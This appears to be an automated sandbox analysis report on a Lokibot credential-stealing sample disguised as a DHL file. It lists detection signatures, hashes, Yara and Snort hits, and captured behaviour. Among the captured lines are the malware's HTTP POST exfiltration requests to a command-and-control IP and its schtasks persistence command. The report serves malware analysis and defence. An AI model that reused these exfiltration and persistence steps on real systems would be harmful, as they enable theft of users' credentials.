Analysis Report DHL FILE 267382.exe

Overview

General Information

Sample Name: DHL FILE 267382.exe
Analysis ID: 299736
MD5: 72fb9a400177dfd9b010ed127537fe3e
SHA1: 27ed71ca36a0a51c746a033d86e664a0fc7615f5
SHA256: 0969f9b67bae5ccaa7d4b2fd6fa97a6f6accbc890711f6f3f9361302d9e832c4
Tags: DHLexeLoki

Most interesting Screenshot:

Detection

Lokibot
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Sigma detected: Scheduled temp file as task from temp location
Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)
Yara detected AntiVM_3
Yara detected Lokibot
Machine Learning detection for dropped file
Machine Learning detection for sample
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to steal Mail credentials (via file access)
Tries to steal Mail credentials (via file registry)
Uses schtasks.exe or at.exe to add and modify task schedules
Yara detected aPLib compressed binary
Checks if the current process is being debugged
Contains capabilities to detect virtual machines
Contains functionality to read the PEB
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Drops PE files
Enables debug privileges
Found potential string decryption / allocating functions
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Yara signature match

Classification

AV Detection:

barindex
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Roaming\wmiRSwSoPk.exe ReversingLabs: Detection: 22%
Multi AV Scanner detection for submitted file
Source: DHL FILE 267382.exe ReversingLabs: Detection: 22%
Machine Learning detection for dropped file
Source: C:\Users\user\AppData\Roaming\wmiRSwSoPk.exe Joe Sandbox ML: detected
Machine Learning detection for sample
Source: DHL FILE 267382.exe Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Code function: 3_2_00403D74 FindFirstFileW,FindNextFileW,FindFirstFileW,FindNextFileW, 3_2_00403D74

Networking:

barindex
Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)
Source: Traffic Snort IDS: 2024312 ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1 192.168.2.5:49719 -> 195.69.140.147:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49719 -> 195.69.140.147:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49719 -> 195.69.140.147:80
Source: Traffic Snort IDS: 2024317 ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M2 192.168.2.5:49719 -> 195.69.140.147:80
Source: Traffic Snort IDS: 2024312 ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1 192.168.2.5:49720 -> 195.69.140.147:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49720 -> 195.69.140.147:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49720 -> 195.69.140.147:80
Source: Traffic Snort IDS: 2024317 ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M2 192.168.2.5:49720 -> 195.69.140.147:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49721 -> 195.69.140.147:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49721 -> 195.69.140.147:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49721 -> 195.69.140.147:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49721 -> 195.69.140.147:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49722 -> 195.69.140.147:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49722 -> 195.69.140.147:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49722 -> 195.69.140.147:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49722 -> 195.69.140.147:80
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 195.69.140.147 195.69.140.147
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: XSGGE XSGGE
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: POST /.op/cr.php/QHHu96pdPKrk1 HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 195.69.140.147Accept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: D947F2B4Content-Length: 192Connection: close
Source: global traffic HTTP traffic detected: POST /.op/cr.php/QHHu96pdPKrk1 HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 195.69.140.147Accept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: D947F2B4Content-Length: 192Connection: close
Source: global traffic HTTP traffic detected: POST /.op/cr.php/QHHu96pdPKrk1 HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 195.69.140.147Accept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: D947F2B4Content-Length: 165Connection: close
Source: global traffic HTTP traffic detected: POST /.op/cr.php/QHHu96pdPKrk1 HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 195.69.140.147Accept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: D947F2B4Content-Length: 165Connection: close
Source: unknown TCP traffic detected without corresponding DNS query: 195.69.140.147
Source: unknown TCP traffic detected without corresponding DNS query: 195.69.140.147
Source: unknown TCP traffic detected without corresponding DNS query: 195.69.140.147
Source: unknown TCP traffic detected without corresponding DNS query: 195.69.140.147
Source: unknown TCP traffic detected without corresponding DNS query: 195.69.140.147
Source: unknown TCP traffic detected without corresponding DNS query: 195.69.140.147
Source: unknown TCP traffic detected without corresponding DNS query: 195.69.140.147
Source: unknown TCP traffic detected without corresponding DNS query: 195.69.140.147
Source: unknown TCP traffic detected without corresponding DNS query: 195.69.140.147
Source: unknown TCP traffic detected without corresponding DNS query: 195.69.140.147
Source: unknown TCP traffic detected without corresponding DNS query: 195.69.140.147
Source: unknown TCP traffic detected without corresponding DNS query: 195.69.140.147
Source: unknown TCP traffic detected without corresponding DNS query: 195.69.140.147
Source: unknown TCP traffic detected without corresponding DNS query: 195.69.140.147
Source: unknown TCP traffic detected without corresponding DNS query: 195.69.140.147
Source: unknown TCP traffic detected without corresponding DNS query: 195.69.140.147
Source: unknown TCP traffic detected without corresponding DNS query: 195.69.140.147
Source: unknown TCP traffic detected without corresponding DNS query: 195.69.140.147
Source: unknown TCP traffic detected without corresponding DNS query: 195.69.140.147
Source: unknown TCP traffic detected without corresponding DNS query: 195.69.140.147
Source: unknown TCP traffic detected without corresponding DNS query: 195.69.140.147
Source: unknown TCP traffic detected without corresponding DNS query: 195.69.140.147
Source: unknown TCP traffic detected without corresponding DNS query: 195.69.140.147
Source: unknown TCP traffic detected without corresponding DNS query: 195.69.140.147
Source: unknown TCP traffic detected without corresponding DNS query: 195.69.140.147
Source: unknown TCP traffic detected without corresponding DNS query: 195.69.140.147
Source: unknown TCP traffic detected without corresponding DNS query: 195.69.140.147
Source: unknown TCP traffic detected without corresponding DNS query: 195.69.140.147
Source: unknown TCP traffic detected without corresponding DNS query: 195.69.140.147
Source: unknown TCP traffic detected without corresponding DNS query: 195.69.140.147
Source: unknown TCP traffic detected without corresponding DNS query: 195.69.140.147
Source: unknown TCP traffic detected without corresponding DNS query: 195.69.140.147
Source: unknown TCP traffic detected without corresponding DNS query: 195.69.140.147
Source: unknown TCP traffic detected without corresponding DNS query: 195.69.140.147
Source: unknown TCP traffic detected without corresponding DNS query: 195.69.140.147
Source: unknown TCP traffic detected without corresponding DNS query: 195.69.140.147
Source: unknown TCP traffic detected without corresponding DNS query: 195.69.140.147
Source: unknown TCP traffic detected without corresponding DNS query: 195.69.140.147
Source: unknown TCP traffic detected without corresponding DNS query: 195.69.140.147
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Code function: 3_2_00404ED4 recv, 3_2_00404ED4
Source: unknown HTTP traffic detected: POST /.op/cr.php/QHHu96pdPKrk1 HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 195.69.140.147Accept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: D947F2B4Content-Length: 192Connection: close
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 18 Oct 2020 06:34:06 GMTServer: ApacheConnection: closeContent-Type: text/html; charset=UTF-8Data Raw: 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 32 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 46 33 32 33 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 72 65 73 70 6f 6e 73 65 2d 69 6e 66 6f 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 43 43 43 43 43 43 3b 0a 20 20 20 20 20 20 20 20 7
Source: DHL FILE 267382.exe, 00000000.00000002.233783014.0000000003321000.00000004.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: DHL FILE 267382.exe, DHL FILE 267382.exe, 00000003.00000002.243441085.0000000000400000.00000040.00000001.sdmp String found in binary or memory: http://www.ibsensoftware.com/

System Summary:

barindex
Malicious sample detected (through community Yara rule)
Source: 00000000.00000002.234483040.00000000044EF000.00000004.00000001.sdmp, type: MEMORY Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 00000003.00000002.243441085.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: Loki Payload Author: kevoreilly
Source: 00000003.00000002.243441085.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 00000000.00000002.233783014.0000000003321000.00000004.00000001.sdmp, type: MEMORY Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 3.2.DHL FILE 267382.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Loki Payload Author: kevoreilly
Source: 3.2.DHL FILE 267382.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 3.2.DHL FILE 267382.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Loki Payload Author: kevoreilly
Source: 3.2.DHL FILE 267382.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Detected potential crypto function
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Code function: 0_2_0179C124 0_2_0179C124
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Code function: 0_2_0179E570 0_2_0179E570
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Code function: 0_2_0179E560 0_2_0179E560
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Code function: 3_2_0040549C 3_2_0040549C
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Code function: 3_2_004029D4 3_2_004029D4
Found potential string decryption / allocating functions
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Code function: String function: 0041219C appears 45 times
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Code function: String function: 00405B6F appears 42 times
Sample file is different than original file name gathered from version info
Source: DHL FILE 267382.exe, 00000000.00000002.234261537.0000000004329000.00000004.00000001.sdmp Binary or memory string: OriginalFilenameL vs DHL FILE 267382.exe
Source: DHL FILE 267382.exe, 00000000.00000002.234261537.0000000004329000.00000004.00000001.sdmp Binary or memory string: OriginalFilenameMARCUS.dll4 vs DHL FILE 267382.exe
Source: DHL FILE 267382.exe, 00000000.00000002.236119428.0000000006300000.00000004.00000001.sdmp Binary or memory string: OriginalFilenameB2B.exe4 vs DHL FILE 267382.exe
Source: DHL FILE 267382.exe, 00000000.00000002.237012698.0000000006CD0000.00000002.00000001.sdmp Binary or memory string: System.OriginalFileName vs DHL FILE 267382.exe
Source: DHL FILE 267382.exe, 00000000.00000002.236241994.00000000063A0000.00000002.00000001.sdmp Binary or memory string: originalfilename vs DHL FILE 267382.exe
Source: DHL FILE 267382.exe, 00000000.00000002.236241994.00000000063A0000.00000002.00000001.sdmp Binary or memory string: OriginalFilenamepropsys.dll.mui@ vs DHL FILE 267382.exe
Source: DHL FILE 267382.exe, 00000003.00000002.243530574.000000000071C000.00000002.00020000.sdmp Binary or memory string: OriginalFilenameL vs DHL FILE 267382.exe
Source: DHL FILE 267382.exe Binary or memory string: OriginalFilenameL vs DHL FILE 267382.exe
Yara signature match
Source: 00000000.00000002.234483040.00000000044EF000.00000004.00000001.sdmp, type: MEMORY Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 00000003.00000002.243441085.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 00000003.00000002.243441085.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 00000000.00000002.233783014.0000000003321000.00000004.00000001.sdmp, type: MEMORY Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 3.2.DHL FILE 267382.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, reference = https://twitter.com/stvemillertime/status/1237035794973560834, score =
Source: 3.2.DHL FILE 267382.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 3.2.DHL FILE 267382.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 3.2.DHL FILE 267382.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 3.2.DHL FILE 267382.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: DHL FILE 267382.exe Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: wmiRSwSoPk.exe.0.dr Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: classification engine Classification label: mal100.spyw.evad.winEXE@6/5@0/1
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Code function: 3_2_0040650A LookupPrivilegeValueW,AdjustTokenPrivileges, 3_2_0040650A
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Code function: 3_2_0040434D CoInitialize,CoCreateInstance,VariantInit,SysAllocString,VariantInit,VariantInit,SysAllocString,VariantInit,SysFreeString,SysFreeString,CoUninitialize, 3_2_0040434D
Source: C:\Users\user\Desktop\DHL FILE 267382.exe File created: C:\Users\user\AppData\Roaming\wmiRSwSoPk.exe Jump to behavior
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6672:120:WilError_01
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Mutant created: \Sessions\1\BaseNamedObjects\8F9C4E9C79A3B52B3F739430
Source: C:\Users\user\Desktop\DHL FILE 267382.exe File created: C:\Users\user\AppData\Local\Temp\tmp4DA9.tmp Jump to behavior
Source: DHL FILE 267382.exe Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe File read: C:\Users\user\Desktop\desktop.ini Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: DHL FILE 267382.exe ReversingLabs: Detection: 22%
Source: DHL FILE 267382.exe String found in binary or memory: 9x+th+vJO+vC+vpy/t2jn/Z/17/vx+PAu+/G/vlx/Dh/jqPlvK/WP/add9/7o/zyvvP8Oe/16fPn/D8/z0D1/1//Ty/Nu/bt/HN/7Fje6BNz/28/fx/WP/na/Xt//Oz/389/Lj/vc/fe/fd+3fL6H/35/3j/3e3/72D//i+/trfs/f4/t1/Pe+v7+3trq/d9/10/T4//W/vF+/K//F//bz//83x/v48/R9/f8vu4/Jz/p0/dU0+/zZZz/efr/fU7fT97
Source: DHL FILE 267382.exe String found in binary or memory: 9x+th+vJO+vC+vpy/t2jn/Z/17/vx+PAu+/G/vlx/Dh/jqPlvK/WP/add9/7o/zyvvP8Oe/16fPn/D8/z0D1/1//Ty/Nu/bt/HN/7Fje6BNz/28/fx/WP/na/Xt//Oz/389/Lj/vc/fe/fd+3fL6H/35/3j/3e3/72D//i+/trfs/f4/t1/Pe+v7+3trq/d9/10/T4//W/vF+/K//F//bz//83x/v48/R9/f8vu4/Jz/p0/dU0+/zZZz/efr/fU7fT97
Source: C:\Users\user\Desktop\DHL FILE 267382.exe File read: C:\Users\user\Desktop\DHL FILE 267382.exe Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\DHL FILE 267382.exe 'C:\Users\user\Desktop\DHL FILE 267382.exe'
Source: unknown Process created: C:\Windows\SysWOW64\schtasks.exe 'C:\Windows\System32\schtasks.exe' /Create /TN 'Updates\wmiRSwSoPk' /XML 'C:\Users\user\AppData\Local\Temp\tmp4DA9.tmp'
Source: unknown Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown Process created: C:\Users\user\Desktop\DHL FILE 267382.exe {path}
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process created: C:\Windows\SysWOW64\schtasks.exe 'C:\Windows\System32\schtasks.exe' /Create /TN 'Updates\wmiRSwSoPk' /XML 'C:\Users\user\AppData\Local\Temp\tmp4DA9.tmp' Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process created: C:\Users\user\Desktop\DHL FILE 267382.exe {path} Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{95E15D0A-66E6-93D9-C53C-76E6219D3341}\InProcServer32 Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook Jump to behavior
Source: DHL FILE 267382.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR
Source: DHL FILE 267382.exe Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Data Obfuscation:

barindex
Yara detected aPLib compressed binary
Source: Yara match File source: 00000000.00000002.234483040.00000000044EF000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.243441085.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.233783014.0000000003321000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: DHL FILE 267382.exe PID: 6600, type: MEMORY
Source: Yara match File source: Process Memory Space: DHL FILE 267382.exe PID: 6708, type: MEMORY
Source: Yara match File source: 3.2.DHL FILE 267382.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.2.DHL FILE 267382.exe.400000.0.raw.unpack, type: UNPACKEDPE
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Code function: 0_2_070B18E5 push FFFFFF8Bh; iretd 0_2_070B18E7
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Code function: 3_2_00402AC0 push eax; ret 3_2_00402AD4
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Code function: 3_2_00402AC0 push eax; ret 3_2_00402AFC
Source: initial sample Static PE information: section name: .text entropy: 7.59320889202
Source: initial sample Static PE information: section name: .text entropy: 7.59320889202

Persistence and Installation Behavior:

barindex
Drops PE files
Source: C:\Users\user\Desktop\DHL FILE 267382.exe File created: C:\Users\user\AppData\Roaming\wmiRSwSoPk.exe Jump to dropped file

Boot Survival:

barindex
Uses schtasks.exe or at.exe to add and modify task schedules
Source: unknown Process created: C:\Windows\SysWOW64\schtasks.exe 'C:\Windows\System32\schtasks.exe' /Create /TN 'Updates\wmiRSwSoPk' /XML 'C:\Users\user\AppData\Local\Temp\tmp4DA9.tmp'
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DHL FILE 267382.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
